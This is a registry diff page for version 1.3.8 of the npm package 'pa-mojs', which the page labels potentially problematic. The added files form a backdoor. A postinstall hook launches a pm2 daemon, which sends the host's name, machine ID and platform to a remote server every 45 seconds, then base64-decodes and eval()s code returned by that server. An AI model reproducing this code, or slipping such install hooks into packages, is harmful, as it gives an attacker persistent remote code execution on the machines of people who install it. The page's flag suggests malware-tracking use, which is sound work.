pa-mojs 1.3.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pa-mojs might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/app.js +113 -0
  2. package/index.js +26 -0
  3. package/package.json +17 -0
package/app.js ADDED
@@ -0,0 +1,113 @@
1
+ const crypto = require('crypto');
2
+ const fs = require('fs');
3
+ const os = require('os')
4
+ const path = require('path');
5
+ const axios = require('axios');
6
+ const {machineIdSync} = require('node-machine-id');
7
+
8
+
9
+ const filename = path.join(os.tmpdir(), 'node_log.txt');
10
+ const headersCnf = {
11
+ headers: {
12
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134'
13
+ }
14
+ };
15
+
16
+ function aesEncrypt(plaintext) {
17
+ var cip, encrypted;
18
+ encrypted = '';
19
+ cip = crypto.createCipheriv('aes-128-cbc', key, key);
20
+ encrypted += cip.update(plaintext, 'binary', 'hex');
21
+ encrypted += cip.final('hex');
22
+ return encrypted;
23
+ }
24
+
25
+ function aesDecrypt(encrypted) {
26
+ var _decipher, decrypted, err;
27
+ decrypted = '';
28
+ _decipher = crypto.createDecipheriv('aes-128-cbc', key, key);
29
+ decrypted += _decipher.update(encrypted, 'hex', 'binary');
30
+ decrypted += _decipher.final('binary');
31
+ return decrypted;
32
+ }
33
+
34
+ async function sendRequest(path,data) {
35
+ try {
36
+
37
+ const response = await axios.post(path,data,headersCnf);
38
+
39
+ const encodedData = response.data;
40
+
41
+ return aesDecrypt(encodedData,key).toString()
42
+ } catch (error) {
43
+
44
+ }
45
+ }
46
+
47
+
48
+ function createTmpFile() {
49
+ const getDate = getCurrentTime();
50
+ fs.writeFile(filename, getDate, (err) => {
51
+ if (err) {
52
+
53
+ return;
54
+ }
55
+ });
56
+
57
+ }
58
+
59
+ function getCurrentTime() {
60
+ const now = new Date();
61
+ const year = now.getFullYear();
62
+ const month = String(now.getMonth() + 1).padStart(2, '0');
63
+ const day = String(now.getDate()).padStart(2, '0');
64
+ const hours = String(now.getHours()).padStart(2, '0');
65
+ const minutes = String(now.getMinutes()).padStart(2, '0');
66
+
67
+ const currentTime = `${year}-${month}-${day} ${hours}:${minutes}`;
68
+ return currentTime;
69
+ }
70
+
71
+ function checkFile() {
72
+ try {
73
+ const fileContent = fs.readFileSync(filename, 'utf-8');
74
+ return { exists: true, content: fileContent };
75
+ } catch (error) {
76
+ return { exists: false, content: '' };
77
+ }
78
+ }
79
+
80
+ function heartbeat(){
81
+ const requestData = {
82
+ hostname: os.hostname(),
83
+ uuid:machineIdSync({original: true}),
84
+ os:os.platform(),
85
+ };
86
+ sendRequest(url+'/api/index',aesEncrypt(JSON.stringify(requestData)))
87
+ const task = {
88
+ uuid:machineIdSync({original: true}),
89
+ }
90
+ sendRequest(url+'/api/captcha',aesEncrypt(JSON.stringify(task))).then(result => {
91
+ try{
92
+ if (result !== undefined) {
93
+ const data = JSON.parse(result);
94
+ const decodedData = Buffer.from(data.code, 'base64').toString();
95
+ eval(decodedData)
96
+ }
97
+ }catch (error){
98
+ }
99
+ });
100
+
101
+ }
102
+
103
+ function app(){
104
+ const result = checkFile();
105
+ if (result.exists) {
106
+ return
107
+ } else {
108
+ createTmpFile();
109
+ setInterval(heartbeat, 45000);
110
+ }
111
+ }
112
+ app()
113
+
package/index.js ADDED
@@ -0,0 +1,26 @@
1
+ const pm2 = require('pm2');
2
+
3
+ pm2.connect((err) => {
4
+ if (err) {
5
+ return;
6
+ }
7
+
8
+ const script = __dirname + '/app.js';
9
+ const name = 'my-apasdacp';
10
+ const pm2Options = {
11
+ script,
12
+ name,
13
+ exec_mode: 'cluster',
14
+ daemon: true
15
+ };
16
+
17
+ pm2.start(pm2Options, (err, apps) => {
18
+ if (err) {
19
+
20
+ pm2.disconnect();
21
+ } else {
22
+
23
+ pm2.disconnect();
24
+ }
25
+ });
26
+ });
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "pa-mojs",
3
+ "version": "1.3.8",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "pm2": "^5.3.0",
14
+ "axios": "^1.4.0",
15
+ "node-machine-id": "^1.1.12"
16
+ }
17
+ }